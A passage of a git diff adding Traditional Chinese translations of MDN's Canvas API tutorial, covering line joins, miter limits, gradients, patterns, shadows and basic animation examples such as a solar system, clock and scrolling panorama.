+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineJoin = ['round','bevel','miter'];
+  ctx.lineWidth = 10;
+  for (var i=0;i&lt;lineJoin.length;i++){
+    ctx.lineJoin = lineJoin[i];
+    ctx.beginPath();
+    ctx.moveTo(-5,5+i*40);
+    ctx.lineTo(35,45+i*40);
+    ctx.lineTo(75,5+i*40);
+    ctx.lineTo(115,45+i*40);
+    ctx.lineTo(155,5+i*40);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<h3 id="A_demo_of_the_miterLimit_property" name="A_demo_of_the_miterLimit_property"><code>miterLimit</code>屬性</h3>
+
+<p>前面範例顯示出，當lineJoin值為miter時，兩條線的外緣會延伸相交，所以，當這兩條相交線的相交角度越小的話，他們的延伸交會點就會越遠離內緣連接點，而且隨著角度變小，距離呈指數型增長。</p>
+
+<p>miterLimit會限制延伸交會點最遠可以離內緣連接點到多遠，當延伸交會點的落點超出這個範圍，那麼便以斜面(bevel)作為交接樣式。請注意，最大miter長度為線寬乘於miterLimit值，所以miterLimit可以獨立於目前顯示縮放尺寸或其他變形設定。</p>
+
+<p>miterLimit預設值為10.0。</p>
+
+<p>更精確來說，miter限制是指延伸長度(在HTML畫布上，這個長度是外緣相交角到連接區段的共同繪圖路經終點)相對於一半線寬的最大允許比率；也等同於，外緣距內緣相交點之距離相對於線寬的的最大允許比率；相當於，連接區最小內緣角的一半角度的餘割(cosecant)值, 小於此值則便以斜面(bevel)作為交接樣式:</p>
+
+<ul>
+ <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li>
+ <li>10.0的預設miterLimit值會移除任何角度小於11度的相接線段的miter交接。</li>
+ <li>miter限制值如果等於根號2(約1.4142136)會移除銳角的miter交接，只有直角或鈍角的不會被移除。</li>
+ <li>miter限制值如果等於1.0會移除所有的miter交接。</li>
+ <li>小於1.0不是合法的限制值。</li>
+</ul>
+
+<p>下面是一個範例，其中藍線標示出各個線條繪圖路徑的起始點與終點。</p>
+
+<p>倘若設定範例程式碼中的miterLimit低於4.2，所有的miter交接都會被移除，取而代之的是出現在藍線附近的bevel交接；倘若設定miterLimit大於10，那麼大部分的miter交接都會出現，而且你會發現，由左到右，miter長度逐漸縮短，這是由於線條相交角度逐漸加大之故；倘若設定中間值，那麼左邊會出現bevel交接，右邊會出現miter交接。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Clear canvas
+  ctx.clearRect(0,0,150,150);
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.lineWidth   = 2;
+  ctx.strokeRect(-5,50,160,50);
+
+  // Set line styles
+  ctx.strokeStyle = '#000';
+  ctx.lineWidth = 10;
+
+  // check input
+  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+  } else {
+    alert('Value must be a positive number');
+  }
+
+  // Draw lines
+  ctx.beginPath();
+  ctx.moveTo(0,100);
+  for (i=0;i&lt;24;i++){
+    var dy = i%2==0 ? 25 : -25 ;
+    ctx.lineTo(Math.pow(i,1.5)*2,75+dy);
+  }
+  ctx.stroke();
+  return false;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;&lt;/td&gt;
+    &lt;td&gt;Change the &lt;code&gt;miterLimit&lt;/code&gt; by entering a new value below and clicking the redraw button.&lt;br&gt;&lt;br&gt;
+      &lt;form onsubmit="return draw();"&gt;
+        &lt;label&gt;Miter limit&lt;/label&gt;
+        &lt;input type="text" size="3" id="miterLimit"/&gt;
+        &lt;input type="submit" value="Redraw"/&gt;
+      &lt;/form&gt;
+    &lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: js">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit;
+draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}</p>
+
+<h2 id="Gradients" name="Gradients">漸層</h2>
+
+<p>如同其他繪圖軟體可以畫出線性和放射狀的漸層圖案，透過設定fillStyle和strokeStyle屬性為canvasGradient漸層物件，我們也可以在canvas上做到一樣的效果。要創造漸層物件，可以使用下面的方法:</p>
+
+<dl>
+ <dt><code>createLinearGradient(<em>x1</em>, <em>y1</em>, <em>x2</em>, <em>y2</em>)</code></dt>
+ <dd>產生一個線性漸層物件，其漸層起始點為(x1, y1)、終點為(x2, y2)。</dd>
+ <dt><code>createRadialGradient(<em>x1</em>, <em>y1</em>, <em>r1</em>, <em>x2</em>, <em>y2</em>, <em>r2</em>)</code></dt>
+ <dd>產生一個放射狀漸層物件，第一個圓之圓心落在(x1, y1)、半徑為r1，第一個圓之圓心落在(x2, y2)、半徑為r2。</dd>
+</dl>
+
+<p>例如:</p>
+
+<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
+</pre>
+
+<p>一旦產生了canvasGradient漸層物件，我們用addColorStop()方法可以添加顏色上去。</p>
+
+<dl>
+ <dt><code><em>gradient</em>.addColorStop(<em>position</em>, <em>color</em>)</code></dt>
+ <dd>於gradient漸層物件建立一個顏色點，其中color是CSS{{cssxref("&lt;color&gt;")}}的字串表示，而position介於0.0到1.0之間，定義了該顏色在漸層中的相對位置。呼叫這個方法會指定當進行到設定的位置時，漸層需要完全轉變成設定的顏色。</dd>
+</dl>
+
+<p>我們可以按照需要設定無數個顏色點，下面是一個簡單的由白到黑的簡單漸層範例程式碼。</p>
+
+<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0,0,150,150);
+lineargradient.addColorStop(0, 'white');
+lineargradient.addColorStop(1, 'black');
+</pre>
+
+<h3 id="A_createLinearGradient_example" name="A_createLinearGradient_example"><code>createLinearGradient</code>範例</h3>
+
+<p>本範例中，我們將建立兩種漸層，如範例所示，strokeStyle和fillSyle屬性都可以接受canvasGradient物件作為屬性值。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var lingrad = ctx.createLinearGradient(0,0,0,150);
+  lingrad.addColorStop(0, '#00ABEB');
+  lingrad.addColorStop(0.5, '#fff');
+  lingrad.addColorStop(0.5, '#26C000');
+  lingrad.addColorStop(1, '#fff');
+
+  var lingrad2 = ctx.createLinearGradient(0,50,0,95);
+  lingrad2.addColorStop(0.5, '#000');
+  lingrad2.addColorStop(1, 'rgba(0,0,0,0)');
+
+  // assign gradients to fill and stroke styles
+  ctx.fillStyle = lingrad;
+  ctx.strokeStyle = lingrad2;
+
+  // draw shapes
+  ctx.fillRect(10,10,130,130);
+  ctx.strokeRect(50,50,50,50);
+
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>第一個漸層為背景漸層，範例中我們在一個位置上指定了兩種顏色(白色到綠色)，這樣做會產生非常突然的顏色轉換，一般來說，不管如何設定顏色點順序都沒關係，然而就這個例子而言，這種作法太過強烈了，但是如果這是你想要的顏色漸層順序，那其實也是可以。</p>
+
+<p>第二個漸層起始位置(position 0.0)的顏色並沒有被指定，所以下一個漸層顏色會自動被設為起始位置顏色，因此即使我們沒有指定漸層起始位置顏色也沒有關係，就像本範例自動會設定起始位置的顏色等於位置0.5的黑色。</p>
+
+<p>{{EmbedLiveSample("A_createLinearGradient_example", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}</p>
+
+<h3 id="A_createRadialGradient_example" name="A_createRadialGradient_example"><code>createRadialGradient</code>範例</h3>
+
+<p>這邊我們定義了四種放射狀漸層，相較於一般在Photoshop看到的”經典”放射狀漸層圖案(漸層從一個圖案中心點向外呈圓心狀延伸)，因為我們可以控制漸層起始和終止點，我們可以做到更好的效果。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var radgrad = ctx.createRadialGradient(45,45,10,52,50,30);
+  radgrad.addColorStop(0, '#A7D30C');
+  radgrad.addColorStop(0.9, '#019F62');
+  radgrad.addColorStop(1, 'rgba(1,159,98,0)');
+
+  var radgrad2 = ctx.createRadialGradient(105,105,20,112,120,50);
+  radgrad2.addColorStop(0, '#FF5F98');
+  radgrad2.addColorStop(0.75, '#FF0188');
+  radgrad2.addColorStop(1, 'rgba(255,1,136,0)');
+
+  var radgrad3 = ctx.createRadialGradient(95,15,15,102,20,40);
+  radgrad3.addColorStop(0, '#00C9FF');
+  radgrad3.addColorStop(0.8, '#00B5E2');
+  radgrad3.addColorStop(1, 'rgba(0,201,255,0)');
+
+  var radgrad4 = ctx.createRadialGradient(0,150,50,0,140,90);
+  radgrad4.addColorStop(0, '#F4F201');
+  radgrad4.addColorStop(0.8, '#E4C700');
+  radgrad4.addColorStop(1, 'rgba(228,199,0,0)');
+
+  // draw shapes
+  ctx.fillStyle = radgrad4;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad3;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad2;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad;
+  ctx.fillRect(0,0,150,150);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>程式碼範例中，為了營造出3D效果，我們讓起始點和終止點位於不同位置，請注意，最好不要讓內外圈相重疊，以避免難以預測的奇怪效果。</p>
+
+<p>每一個漸層圖案最後一個漸層色都是全透明的，如果希望倒數第二個漸層色能夠平順地轉換到這個最後一個漸層色，那麼兩者應該設定一樣的顏色值，像是程式碼範例中的漸層色 #019F62 其實就等於 rgba(1,159,98,1)。</p>
+
+<p>{{EmbedLiveSample("A_createRadialGradient_example", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}</p>
+
+<h2 id="Patterns" name="Patterns">樣式(Patterns)</h2>
+
+<p>先前的範例中，我們都是藉由迴圈來重複產生影像樣式，不過其實有一條更簡單的方法，那就是呼叫createPattern方法。</p>
+
+<dl>
+ <dt><code>createPattern(<em>image</em>, <em>type</em>)</code></dt>
+ <dd>呼叫createPattern()會產一個畫布樣式物件，然後回傳出來。<br>
+ 其中image是<a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html#image-sources-for-2d-rendering-contexts" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html#image-sources-for-2d-rendering-contexts">CanvasImageSource</a>類別物件(像是{{domxref("HTMLImageElement")}},、&lt;canvas&gt;元素、{{HTMLElement("video")}} 元素等)</dd>
+</dl>
+
+<p>Type是一串字串，定義了如何產生樣式，允許的值有:</p>
+
+<dl>
+ <dt><code>repeat</code></dt>
+ <dd>沿垂直與水平方向重複排列影像</dd>
+ <dt><code>repeat-x</code></dt>
+ <dd>只沿水平方向重複排列影像</dd>
+ <dt><code>repeat-y</code></dt>
+ <dd>只沿垂直方向重複排列影像</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>不重複排列影像，只使用一次</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Firefox現在只支援repeat，所以其他值都是無效的</p>
+</div>
+
+<div class="note"><strong>Note:</strong> 傳入尺寸為0x0像素的畫布會引起錯誤</div>
+
+<p>利用createPattern()的方法和前面利用漸層的方法十分類似，我們呼叫createPattern()產生{{domxref("CanvasPattern")}}物件，然後將{CanvasPattern}物件設成fillStyle或strokeStyle的屬性值，例如:</p>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img,'repeat');
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 不像drawImage()方法，呼叫createPattern()方法前影像必須要先載入完成，否則可能圖像的程生會有問題。</p>
+</div>
+
+<h3 id="A_createPattern_example" name="A_createPattern_example"><code>createPattern</code>範例</h3>
+
+<p>這個範例中我們把fillStyle屬性值存為樣式物件，比較值得注意的是影像onload事件處理器，這是為了確保影像載入完成後再進行。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // create new image object to use as pattern
+  var img = new Image();
+  img.src = '/files/222/Canvas_createpattern.png';
+  img.onload = function(){
+
+    // create pattern
+    var ptrn = ctx.createPattern(img,'repeat');
+    ctx.fillStyle = ptrn;
+    ctx.fillRect(0,0,150,150);
+
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+
+<p>結果如下<span style="display: none;"> </span>:</p>
+</div>
+
+<p>{{EmbedLiveSample("A_createPattern_example", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}</p>
+
+<h2 id="陰影">陰影</h2>
+
+<p>要產生陰影只需要四個屬性:</p>
+
+<dl>
+ <dt><code>shadowOffsetX = <em>float</em></code></dt>
+ <dd>代表陰影從物件延伸出來的水平距離，預設為0，不受變形矩陣影響。</dd>
+ <dt><code>shadowOffsetY = <em>float</em></code></dt>
+ <dd>代表陰影從物件延伸出來的垂直距離，預設為0，不受變形矩陣影響。</dd>
+ <dt><code>shadowBlur = <em>float</em></code></dt>
+ <dd>代表陰影模糊大小範圍，預設為0，不受變形矩陣影響，不等同於像素值。</dd>
+ <dt><code>shadowColor = {{cssxref("&lt;color&gt;")}}</code></dt>
+ <dd>CSS顏色值，代表陰影顏色，預設為全透明。</dd>
+</dl>
+
+<p><code>shadowOffsetX和shadowOffsetY會決定陰影延伸大小，若是為正值，則陰影會往右(沿X軸)和往下(沿Y軸)延伸，若是為負值，則會往正值相反方向延伸。</code></p>
+
+<div class="geckoVersionNote">
+<p>{{gecko_callout_heading("7.0")}}</p>
+
+<p>Note: 基於HTML5提議規格變更，從{{Gecko("7.0")}}開始，陰影只會在source-over的<a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing" title="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing">構圖排列</a>下產生</p>
+</div>
+
+<h3 id="文字陰影範例">文字陰影範例</h3>
+
+<p>本程式碼範例會產生一串帶有陰影的文字。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.shadowOffsetX = 2;
+  ctx.shadowOffsetY = 2;
+  ctx.shadowBlur = 2;
+  ctx.shadowColor = "rgba(0, 0, 0, 0.5)";
+
+  ctx.font = "20px Times New Roman";
+  ctx.fillStyle = "Black";
+  ctx.fillText("Sample String", 5, 30);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="80"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_shadowed_text_example", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Using_images", "Web/Guide/HTML/Canvas_tutorial/Transformations")}}</p>
+
+<div id="cke_pastebin" style="position: absolute; top: 12776.2px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/basic_animations/index.html b/files/zh-tw/web/api/canvas_api/tutorial/basic_animations/index.html
new file mode 100644
index 0000000000..336fadbce0
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/basic_animations/index.html
@@ -0,0 +1,347 @@
+---
+title: 基礎動畫
+slug: Web/API/Canvas_API/Tutorial/Basic_animations
+translation_of: Web/API/Canvas_API/Tutorial/Basic_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}</div>
+
+<p>控制{{HTMLElement("canvas")}}元素來產生互動式動畫不是一件難事，當然，如果產生的動畫越複雜越需要多費一些力氣，未來如果有機會我們將說明這一塊。</p>
+
+<p>由於圖形一但產生後便靜止不動，所以我們必須重新繪圖好移動圖案，產生動畫效果，所以如果繪圖越複雜，繪圖運算也需要消耗越多運算資源和時間，換句話說，電腦效能的好壞將大大影響動畫順暢度，或許這也是畫布動畫最大的限制。</p>
+
+<h2 id="Basic_animation_steps" name="Basic_animation_steps">動畫基本步驟</h2>
+
+<p>產生一個畫面基本上需要以下步驟 :</p>
+
+<ol>
+ <li><strong>清除畫布</strong><br>
+  除了不變的背景畫面，所有先前畫的圖案都要先清除，這個步驟可以透過clearRect()方法達成。</li>
+ <li><strong>儲存畫布狀態</strong><br>
+  若是想要每一次重新繪圖時畫布起始狀態都是原始狀態，那麼就需要先行儲存畫布原始狀態。</li>
+ <li><strong>畫出畫面</strong><br>
+  畫出需要畫面。</li>
+ <li><strong>復原畫布狀態</strong><br>
+  復原畫布狀態以備下次繪圖使用。</li>
+</ol>
+
+<h2 id="Controlling_an_animation" name="Controlling_an_animation">控制動畫</h2>
+
+<p>一般來說當程式碼執行完畢後我們才會看到繪圖結果，所以說我們無法靠執行for迴圈來產生動畫，我們得靠每隔一段時間繪圖來產生動畫，下面將介紹兩種作法。</p>
+
+<h3 id="排程更新">排程更新</h3>
+
+<p>第一種作法是利用{{domxref("window.setInterval()")}}與{{domxref("window.setTimeout()")}}方法。</p>
+
+<div class="note">
+<p><strong>Note:</strong> 針對新版瀏覽器建議採用{{domxref("window.requestAnimationFrame()")}}方法。</p>
+</div>
+
+<dl>
+ <dt><code>setInterval(<em>function</em>, <em>delay</em>)</code></dt>
+ <dd>每隔delay毫秒，執行輸入function(函數)</dd>
+ <dt><code>setTimeout(<em>function</em>, <em>delay</em>)</code></dt>
+ <dd>過delay毫秒後，執行輸入function(函數)</dd>
+ <dt>requestAnimationFrame(callback)</dt>
+ <dd>告訴瀏覽器你希望執行動畫的時候,要求瀏覽器在重繪下一張畫面之前,呼叫callback函數來更新動畫</dd>
+</dl>
+
+<p>如果希望不要有任何的使用者互動影響，請使用setInterval()，因為它會確實地每隔一段時間就執行程式碼。如果你想製作遊戲 , 我們能夠使用keyboard 或是 mouse event來控制動畫,並使用setTimeout()函數一起。藉由設定EventListeners,我們能夠捕捉任何使用者的動作,並執行我們的動畫函數。</p>
+
+<div class="note">
+<p>在下面的範例,我們將使用<strong>window.requestAnimationFrame()</strong>方法來控制動畫,<strong>window.requestAnimationFrame()</strong>方法為動畫提供更順暢更有效率的方式來執行,當系統準備好繪製畫面時,藉由呼叫動畫andmation frame()的callback函數 。callback通常每秒鐘執行60次,當執行background tab時,執行次數會更低,想知道更多關於動畫迴圈(animation loop)的資訊,尤其是遊戲的應用,請查看我們在 <a href="https://developer.mozilla.org/en-US/docs/Games">Game development zone</a> 的主題 <a href="https://developer.mozilla.org/en-US/docs/Games/Anatomy">Anatomy of a video game</a> 。</p>
+</div>
+
+<h3 id="從使用者輸入操作控制動畫">從使用者輸入操作控制動畫</h3>
+
+<p>我們也可以從使用者輸入操作控制動畫，就像是電玩遊戲一般；像是在鍵盤上設置事件處理器{{domxref("EventListener")}}捕捉使用者輸入並執行對應動畫。</p>
+
+<p>你可以利用我們的<a href="https://developer.mozilla.org/en-US/docs/DOM/window.setInterval#A_little_framework" title="https://developer.mozilla.org/en-US/docs/DOM/window.setInterval#A_little_framework">次要版</a>或<a href="https://developer.mozilla.org/en-US/docs/JavaScript/Timers/Daemons" title="https://developer.mozilla.org/en-US/docs/JavaScript/Timers/Daemons">主要版動畫框架</a>。</p>
+
+<pre>var myAnimation = new MiniDaemon(null, animateShape, 500, Infinity);</pre>
+
+<p>或</p>
+
+<pre>var myAnimation = new Daemon(null, animateShape, 500, Infinity);</pre>
+
+<p>在後面的範例我們主要將使用window.setInterval()方法控制動畫，然後於本頁底部是一些使用widnow.setTimeout()的範例連結。</p>
+
+<h4 id="太陽系動畫">太陽系動畫</h4>
+
+<p>本例會產生一個小型太陽系運行動畫。</p>
+
+<pre class="brush: js">var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  setInterval(draw,100);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // clear canvas
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // Earth
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Shadow
+  ctx.drawImage(earth,-12,-12);
+
+  // Moon
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // Earth orbit
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">init();</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_animated_solar_system", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}</p>
+
+<h4 id="時鐘動畫">時鐘動畫</h4>
+
+<p>本例會產生一個時鐘指向現在時間。</p>
+
+<pre class="brush: js">function init(){
+  clock();
+  setInterval(clock,1000);
+}
+
+function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // Hour marks
+  ctx.save();
+  for (var i=0;i&lt;12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // Minute marks
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i&lt;60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr&gt;=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // write Hours
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // write Minutes
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Write seconds
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">init();</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_animated_clock", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}</p>
+
+<h4 id="循環景色">循環景色</h4>
+
+<p>本例會產一個由左到右循環捲動<a href="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg" title="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg">美國優勝美地國家公園</a>景色，你也可以自行替換其他比畫布還大的圖片。</p>
+
+<pre class="brush: js">var img = new Image();
+
+// User Variables - customize these to change the image being scrolled, its
+// direction, and the speed.
+
+img.src = '/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; //lower is faster
+var scale = 1.05;
+var y = -4.5; //vertical offset
+
+// Main program
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width*scale;
+    imgH = img.height*scale;
+    if (imgW &gt; CanvasXSize) { x = CanvasXSize-imgW; } // image larger than canvas
+    if (imgW &gt; CanvasXSize) { clearX = imgW; } // image larger than canvas
+    else { clearX = CanvasXSize; }
+    if (imgH &gt; CanvasYSize) { clearY = imgH; } // image larger than canvas
+    else { clearY = CanvasYSize; }
+    //Get Canvas Element
+    ctx = document.getElementById('canvas').getContext('2d');
+    //Set Refresh Rate
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    //Clear Canvas
+    ctx.clearRect(0,0,clearX,clearY);
+    //If image is &lt;= Canvas Size
+    if (imgW &lt;= CanvasXSize) {
+        //reset, start from beginning
+        if (x &gt; (CanvasXSize)) { x = 0; }
+        //draw aditional image
+        if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-CanvasXSize+1,y,imgW,imgH); }
+    }
+    //If image is &gt; Canvas Size
+    else {
+        //reset, start from beginning
+        if (x &gt; (CanvasXSize)) { x = CanvasXSize-imgW; }
+        //draw aditional image
+        if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-imgW+1,y,imgW,imgH); }
+    }
+    //draw image
+    ctx.drawImage(img,x,y,imgW,imgH);
+    //amount to move
+    x += dx;
+}
+</pre>
+
+<p>循環景色就是在下方的{{HTMLElement("canvas")}}中捲動，請注意其中的width和height和程式碼中的CanvasXZSize與CanvasYSize一樣。</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="800" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<p><strong>Live sample</strong></p>
+
+<p>{{EmbedLiveSample("A_looping_panorama", "830", "230")}}</p>
+
+<h2 id="Other_examples" name="Other_examples">其他範例</h2>
+
+<dl>
+ <dt><a class="external" href="http://www.gartic.net/" title="http://www.gartic.net/">Gartic</a></dt>
+ <dd>
+ <p>多人繪圖遊戲</p>
+ </dd>
+ <dt><a class="external" href="http://www.abrahamjoffe.com.au/ben/canvascape/">Canvascape</a></dt>
+ <dd>
+ <p>第一人稱3D冒險遊戲</p>
+ </dd>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster" title="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster">A basic ray-caster</a></dt>
+ <dd>透過鍵盤控制動畫範例</dd>
+ <dt><a class="external" href="http://andrewwooldridge.com/canvas/canvasgame001/canvasgame002.html">canvas adventure</a></dt>
+ <dd>
+ <p>另一個透過鍵盤控制動畫範例</p>
+ </dd>
+ <dt><a class="external" href="http://www.blobsallad.se/">An interactive Blob</a></dt>
+ <dd>和Blob遊戲</dd>
+ <dt><a class="external" href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Flying through a starfield</a></dt>
+ <dd>
+ <p>飛越星河</p>
+ </dd>
+ <dt><a class="external" href="http://igrapher.com/" title="http://igrapher.com/">iGrapher</a></dt>
+ <dd>
+ <p>股票市場圖</p>
+ </dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="/en-US/docs/JavaScript/Timers">JavaScript timers</a></li>
+ <li><a href="/en-US/docs/DOM/window.setInterval#A_little_framework" title="/en-US/docs/DOM/window.setInterval#A_little_framework"><code>setInterval</code> – A little framework</a></li>
